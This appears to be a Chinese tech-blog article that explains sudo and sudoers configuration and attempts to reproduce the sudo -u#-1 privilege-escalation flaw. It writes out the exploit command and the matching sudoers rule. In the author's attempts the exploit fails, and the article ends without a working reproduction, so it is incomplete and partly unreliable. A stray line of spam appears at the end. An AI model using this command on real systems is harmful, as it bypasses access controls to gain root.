溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

sudo漏洞實例分析

發布時間:2022-06-01 16:36:58 來源:億速云 閱讀:175 作者:iii 欄目:大數據

本篇內容介紹了“sudo漏洞實例分析”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

sudo介紹

大部分開發運維對這個命令都非常熟悉,不過考慮到有效讀者不了解我還是簡單介紹下。

sudo 指“超級用戶”。作為一個系統命令,其允許其它非 root 用戶以特殊權限來運行程序或命令,而無需切換使用環境。舉個例子:

我下面已一個普通用戶在 /usr/local/ 目錄下新建一個目錄,直接運行會報沒有權限的錯誤,

user1@user1:/usr/local$ mkdir test
mkdir: cannot create directory ‘test’: Permission denied
 

必須要這樣才可以,

user1@user1:/usr/local$ sudo mkdir test
user1@user1:/usr/local$ ls
bin  etc  games  include  lib  man  sbin  share  src  test
 

一個普通用戶要想使用sudo,必須有管理員(root)配置 sudoers 文件,對用戶的權限進行定義。類似下面這樣:

# User privilege specification
user2    ALL=(ALL:ALL) ALL
 

上述命令中:

  • user2 表示用戶名

  • 第一個 ALL 指示允許從任何終端、機器訪問 sudo

  • 第二個 (ALL:ALL) 指示 sudo 命令被允許以任何用戶身份執行,后面那個ALL是用戶所在的群組

  • 第三個 ALL 表示所有命令都可以作為 root 執行

如果沒有加這個配置,執行的時候會報如下的錯誤:

user2@pony:/home$ sudo mkdir test2
[sudo] password for user2: 
user2 is not in the sudoers file.  This incident will be reported.
   

如何利用漏洞

我使用的linux版本是 Ubuntu 18.04.3 LTS 。

首先我配置用戶 user2 的權限,

# User privilege specification
user2    ALL=(ALL,!root) /bin/bash
 

這個配置的意思是,user2用戶可以用任何用戶(除了root)執行 /bin/bash 命令。

然后我試著執行,

user2@pony:~$ sudo -u#-1 /bin/bash
sudo: unknown user: #-1
sudo: unable to initialize policy plugin
 

什么鬼,好像沒有啥問題啊,直接報錯了,并沒有切換到 root 用戶,再試著執行,

user2@pony:~$ sudo -u#-1 id -u
sudo: unknown user: #-1
sudo: unable to initialize policy plugin

也沒有任何問題啊,那這個漏洞究竟該怎么復現呢??

按照上面文章的說法,之所以會產生這個漏洞,是因為將用戶 ID 轉換為用戶名的函數會將 -1(或無效等效的 4294967295)誤認為是 0,而這正好是 root 的用戶 ID 。

“sudo漏洞實例分析”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女